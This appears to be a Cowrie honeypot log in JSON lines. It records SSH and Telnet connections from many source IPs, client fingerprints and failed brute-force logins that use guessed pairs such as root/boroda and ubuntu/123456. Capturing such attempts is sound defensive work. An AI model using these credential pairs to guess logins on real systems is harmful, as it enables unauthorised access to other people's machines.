{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46842,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf9fdaf68f4","protocol":"ssh","message":"New connection: 147.45.199.80:46842 (159.203.135.109:22) [session: ddf9fdaf68f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:56.032720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:56.037573Z","src_ip":"147.45.199.80","session":"ddf9fdaf68f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:56.133275Z","src_ip":"147.45.199.80","session":"ddf9fdaf68f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:56.419645Z","src_ip":"147.45.199.80","session":"ddf9fdaf68f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:57.517702Z","src_ip":"147.45.199.80","session":"ddf9fdaf68f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":33980,"dst_ip":"10.17.0.5","dst_port":23,"session":"681316f03c49","protocol":"telnet","message":"New connection: 23.94.28.189:33980 (10.17.0.5:23) [session: 681316f03c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:10.494343Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57092,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7f4004a829e","protocol":"ssh","message":"New connection: 109.237.96.109:57092 (159.203.135.109:22) [session: d7f4004a829e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:36.419239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:36.423679Z","src_ip":"109.237.96.109","session":"d7f4004a829e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:36.522087Z","src_ip":"109.237.96.109","session":"d7f4004a829e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boroda","message":"login attempt [root/boroda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:36.814793Z","src_ip":"109.237.96.109","session":"d7f4004a829e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:37.909314Z","src_ip":"109.237.96.109","session":"d7f4004a829e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50060,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc8e2686b737","protocol":"ssh","message":"New connection: 80.94.92.184:50060 (159.203.135.109:22) [session: dc8e2686b737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:40.732208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:40.982828Z","src_ip":"80.94.92.184","session":"dc8e2686b737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:40.986013Z","src_ip":"80.94.92.184","session":"dc8e2686b737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:44.042347Z","src_ip":"80.94.92.184","session":"dc8e2686b737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.07813501358032,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:44.572388Z","src_ip":"23.94.28.189","session":"681316f03c49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:45.493091Z","src_ip":"80.94.92.184","session":"dc8e2686b737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35632,"dst_ip":"159.203.135.109","dst_port":22,"session":"313765a982a2","protocol":"ssh","message":"New connection: 193.37.70.224:35632 (159.203.135.109:22) [session: 313765a982a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:56.513570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:56.520899Z","src_ip":"193.37.70.224","session":"313765a982a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:56.614010Z","src_ip":"193.37.70.224","session":"313765a982a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88005553535","message":"login attempt [root/88005553535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:56.896715Z","src_ip":"193.37.70.224","session":"313765a982a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:18:57.993056Z","src_ip":"193.37.70.224","session":"313765a982a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54410,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fffcd4beede","protocol":"ssh","message":"New connection: 103.77.242.62:54410 (10.17.0.5:22) [session: 3fffcd4beede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:20:03.762345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:20:03.769790Z","src_ip":"103.77.242.62","session":"3fffcd4beede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:20:04.027282Z","src_ip":"103.77.242.62","session":"3fffcd4beede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010101","message":"login attempt [root/010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:20:04.765904Z","src_ip":"103.77.242.62","session":"3fffcd4beede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:20:06.015123Z","src_ip":"103.77.242.62","session":"3fffcd4beede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60846,"dst_ip":"10.17.0.5","dst_port":23,"session":"2748ec276ce3","protocol":"telnet","message":"New connection: 50.6.8.71:60846 (10.17.0.5:23) [session: 2748ec276ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:21:29.237873Z"}
{"eventid":"cowrie.session.closed","duration":39.41360521316528,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:08.651358Z","src_ip":"50.6.8.71","session":"2748ec276ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52734,"dst_ip":"159.203.135.109","dst_port":22,"session":"0737c1bb9cfa","protocol":"ssh","message":"New connection: 80.94.92.184:52734 (159.203.135.109:22) [session: 0737c1bb9cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:12.346753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:12.656474Z","src_ip":"80.94.92.184","session":"0737c1bb9cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:12.661533Z","src_ip":"80.94.92.184","session":"0737c1bb9cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:15.244511Z","src_ip":"80.94.92.184","session":"0737c1bb9cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34148,"dst_ip":"159.203.135.109","dst_port":22,"session":"b06ad568318e","protocol":"ssh","message":"New connection: 194.59.206.2:34148 (159.203.135.109:22) [session: b06ad568318e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:16.344133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:16.349057Z","src_ip":"194.59.206.2","session":"b06ad568318e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:16.407103Z","src_ip":"80.94.92.184","session":"0737c1bb9cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:16.435238Z","src_ip":"194.59.206.2","session":"b06ad568318e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:16.525922Z","src_ip":"194.59.206.2","session":"b06ad568318e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49364,"dst_ip":"159.203.135.109","dst_port":22,"session":"8feeaf25417c","protocol":"ssh","message":"New connection: 103.15.222.183:49364 (159.203.135.109:22) [session: 8feeaf25417c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:36.385144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:36.389885Z","src_ip":"103.15.222.183","session":"8feeaf25417c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:36.634022Z","src_ip":"103.15.222.183","session":"8feeaf25417c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"73501505","message":"login attempt [root/73501505] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:37.445975Z","src_ip":"103.15.222.183","session":"8feeaf25417c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:22:38.692448Z","src_ip":"103.15.222.183","session":"8feeaf25417c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55402,"dst_ip":"10.17.0.5","dst_port":23,"session":"602173098c2e","protocol":"telnet","message":"New connection: 50.6.8.71:55402 (10.17.0.5:23) [session: 602173098c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:10.115304Z"}
